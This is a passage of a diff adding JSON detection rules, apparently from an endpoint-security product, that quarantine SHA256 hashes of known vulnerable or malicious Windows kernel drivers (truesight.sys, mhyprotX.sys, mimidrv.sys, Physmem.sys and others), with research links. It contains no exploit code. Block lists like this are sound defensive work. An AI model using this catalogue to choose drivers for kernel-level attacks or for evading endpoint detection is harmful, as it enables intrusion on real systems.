+  "last_update": "2026-03-23T11:45:30.816673Z",
+  "creation_date": "2026-03-23T11:45:30.816675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4eebf3fc1a508fe0e54c061a211c44a3df641707adab16ff839187759e8d2a61",
+  "comment": "Vulnerable Kernel Driver (aka avalueio.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f72dac8e-789e-56ee-87ec-8a90a2a7b6b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613048Z",
+  "creation_date": "2026-03-23T11:45:29.613049Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613055Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03a831e18d933954d432187835e0d6aea8bf10fd84dfbe36a23366e2b0538a11",
+  "comment": "Hilscher cifX Device Driver abuse (aka Physmem.sys) [https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7352208-6d17-5fb8-87b2-1e9c6578d4d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981629Z",
+  "creation_date": "2026-03-23T11:45:29.981637Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981651Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "760be95d4c04b10df89a78414facf91c0961020e80561eee6e2cb94b43b76510",
+  "comment": "Vulnerable Kernel Driver (aka NetFlt.sys) [https://www.loldrivers.io/drivers/30d6c39c-1d93-4101-8dd3-322ff0ab7fb3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f73a9795-7691-5323-8088-e99e9b7ecce5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611909Z",
+  "creation_date": "2026-03-23T11:45:29.611911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e76764d750ebd835aa4bb055830d278df530303585614c1dc743f8d5adf97d7",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f73ef725-3459-5424-a40e-114532b5980d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816209Z",
+  "creation_date": "2026-03-23T11:45:30.816211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816217Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85fdd255c5d7add25fd7cd502221387a5e11f02144753890218dd31a8333a1a3",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f73fda1c-1882-549b-93da-f893fa6ff5ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816215Z",
+  "creation_date": "2026-03-23T11:45:31.816218Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "80c662a564bec8719db16eabcc3f601e3fbc6280d6682eccfed090a83300eb01",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7467f8c-b98e-55eb-a79f-b3ac5afbe25a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609369Z",
+  "creation_date": "2026-03-23T11:45:29.609373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c0e80958b907c8df345ec2f8d711acefb4951ee3e6e84892ecd429f5e1f3acb",
+  "comment": "Vulnerable Kernel Driver (aka gdrv.sys) [https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7469e7e-8004-5ef3-9144-c602f95efa0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833699Z",
+  "creation_date": "2026-03-23T11:45:30.833702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d41b6cbf58215cc6d6a0d452937aa0dd9ba73140f0ab1daa7a6f29afd4d6b4cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f74aa327-46cd-5889-bb2e-208ec759a77b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473542Z",
+  "creation_date": "2026-03-23T11:45:31.473546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473556Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c985671e0517054bb6fdf676c2e65a2bd0d5101564250268f7de5e716f4b81a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f74c1d60-a834-5c48-8329-3b73512e7c57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828489Z",
+  "creation_date": "2026-03-23T11:45:30.828491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828497Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cd5b884ead3c1485bace633184e9c660d97f2d1e676c1ced82d5cfe33b3c213",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7568d63-797c-5fe4-9037-12ebd43f6f46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814123Z",
+  "creation_date": "2026-03-23T11:45:31.814127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814134Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43c7147cb0998ef5ac62caf6996fabf9ab0ea0a465c85afd7fc744e8f8386f6a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f766690b-c9e3-556e-9f77-62129427bfb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497856Z",
+  "creation_date": "2026-03-23T11:45:31.497858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497863Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "227ef6cf7a61cb7b8565ba6581a619d79030a45c4bec699867a502e2677dbe30",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f777be10-23b0-50ef-bbb1-4bd4c0f5128c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465738Z",
+  "creation_date": "2026-03-23T11:45:30.465741Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465750Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ef7afea0cf2ef246ade6606ef8b7195de9cd7a3cd7570bff90ba1e2422276f6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f77c70f9-03fd-51d9-a7a4-7ff6d67dc19b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153015Z",
+  "creation_date": "2026-03-23T11:45:31.153018Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f0e38e7cad0e0226e2ce25db1dda0fbfe0628222a382a19d5d712005bca4bef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f781b720-3f52-5d04-ba84-fc30e648b03d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610083Z",
+  "creation_date": "2026-03-23T11:45:29.610089Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610094Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f782cccb-39d8-5245-95f0-2707bfefb998",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826882Z",
+  "creation_date": "2026-03-23T11:45:30.826885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bf6291bee1862214a4c2948479e6e2c9c09d7d103e9e5ca35eea5726b789e07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f789a629-0ca7-539f-8b19-d7ef41f7e966",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476997Z",
+  "creation_date": "2026-03-23T11:45:30.477000Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e03d8492926408a299100ef02c46bf3510a816bd9eed2f988b47c066049e9111",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7907a3e-4c74-52d4-b156-9c3d75463fa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492338Z",
+  "creation_date": "2026-03-23T11:45:31.492340Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492345Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42527d104eac6fb21d4cb6f7f1a8d10601044127de67ac5a8832ef0266fe367b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f791b45a-b7d3-5fcb-8223-47f0f5ccdd50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462820Z",
+  "creation_date": "2026-03-23T11:45:30.462823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462832Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bd4715d2a7af627da11513e32fab925c872babebdb7ff5675a75815fbf95021",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f79928f0-a5ab-562f-8d13-447fed687fb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825854Z",
+  "creation_date": "2026-03-23T11:45:31.825856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d56c12e9ced5e3fe9902156bf265aaef933b206828f4fe72be7b675806c637fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7aa33e5-d64d-5aa1-a58d-3fbed87cecbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498865Z",
+  "creation_date": "2026-03-23T11:45:31.498885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498895Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b4ef60abd1adf6909a91cce9bb505635921b9e6e3cb8857dea192f42f70b03b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7acc85a-de2c-56fd-8b34-d4176c9f4d70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491795Z",
+  "creation_date": "2026-03-23T11:45:31.491798Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea5be436504210daeae063b6ce4c17de5710dcd725dc8c798bbb6011202d6980",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "f7bb5d03-3180-5b1c-a92f-f0e8c16bab94",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834297Z",
+  "creation_date": "2026-03-23T11:45:30.834301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
